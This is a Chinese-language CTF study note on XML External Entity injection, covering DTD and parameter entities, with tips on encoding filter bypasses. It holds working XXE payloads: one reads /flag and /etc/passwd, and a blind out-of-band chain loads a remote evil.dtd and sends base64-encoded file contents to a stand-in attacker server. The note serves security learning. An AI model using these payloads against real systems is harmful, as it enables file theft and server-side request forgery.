Preparation
XXE:XML External Entity Injection, XML外部实体注入
<?xml version="1.0"? encoding="utf-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
encoding
xml可以采取不同编码,定义在encoding中,对于绕过一些bypass有帮助
- 对于java应用可以使用utf-32be绕过
!DOCTYPE
过滤
其实这一行不写很多也认得出来是什么编码
DTD(Document Type Definition, 文档类型定义)
包含在<!DOCTYPE ... >
中
一般实体与元素
元素
<!ELEMENT 元素名称 类别>
<!ELEMENT 元素名称 (元素内容)>
元素用于声明xml元素,了解即可,可以引用实体
实体
<!ENTITY 实体名称 "实体的值">
<!ENTITY 实体名称 SYSTEM "URI/URL">
实体可以被引用&实体名称;
!! 实体不是什么抽象的概念,比如内建实体<
是<
,做过前端开发应该都见过,只是现在这里允许自定义实体
参数实体
上文介绍的是一般实体,现在对比介绍参数实体
<!DOCTYPE note [
<!ENTITY % abc "233">
<!ENTITY bcs "344">
]>
<user>&bcs</user>
上面的定义中,出现了两种实体,分别是一般实体和参数实体,参数实体的定义和一般实体比一般实体的定义多了一个百分号%
参数实体一般作为声名实体的参数存在,仅仅在DTD区使用
参数实体的引用需要使用百分号%
,例如%abc;
注意:多数xml解释器不允许在内层实体中使用外部连接
# 错误示范
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://myip/?%file;'>">
%start;
%send;
]>
# error:PEReferences forbidden in internal subset in Entity, line: 4
Hack
主要还是利用一个外部实体引用这里,去访问任意链接,这样子去整花活
不同环境支持的协议是不同的,都可以尝试一下
- http(s)
- file
- ftp
- php
- jar
- gopher
- data
- …
File Read
xss最常见的就是打一个文件读取
<?xml version="1.0"?>
<!DOCTYPE aa[
<!ENTITY file SYSTEM "file:///flag">
]>
<user><name>&file;</name><email>1</email><content>1</content></user>
file实体会被解释成/flag
的内容,有回显的话就能从name里带出文件内容了
SSRF
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://......" >
]>
<foo>&xxe;</foo>
ssrf打肯能能打,但是自己没做到过相关的题目,这里先留空
Blind
没有回显就需要利用特性另想办法了外带数据了
- payload
<?xml version="1.0"?>
<!DOCTYPE foo[
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "https://yourserver.cn/evil.dtd">
%remote;
%all;
%send;
]>
- evil.dtd
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://yoursserver.cn/%file;'>">
发生了什么?
一行一行解释
- 通过php伪协议读取了文件,并进行了base64编码
- 从远程读取
evil.xml
的内容保存为实体参数%remote;
%remote;
在当前位置展开,添加了实体参数%all;
%all;
在当前位置展开,添加实体参数&send;
,因为是外部实体,不会被解释器阻止,evil.xml
中的%file;
被顺利解析,%
被解析为%
- 调用实体
&send;
访问给定的url
注意:
- 如果没有base64,获取的文件内容拼接后不符合url就会报错,有报错回显的话可以直接拿到文件内容
- 一般使用远程加载外部实体,内部子集加载是不被允许的,这不是绝对的,也有存在允许内部子集加载的实现
bypass
- 过滤
!DOCTYPE
肯定要编码绕过了,具体还是尝试几种常见编码然后也结合具体题目环境 rctf的题,java环境下,utf-32be可以绕过上述的bypass %
16进制实体编码绕过- base64(data协议)
- utf-7
- 混合编码绕过 在同一个文档里同时使用两种编码,从而迷惑 WAF,前提得xml解释器能自动切换编码
- 空格
reference
参考资料
扩展阅读
相关赛题
- RCTF2022: Ezbypass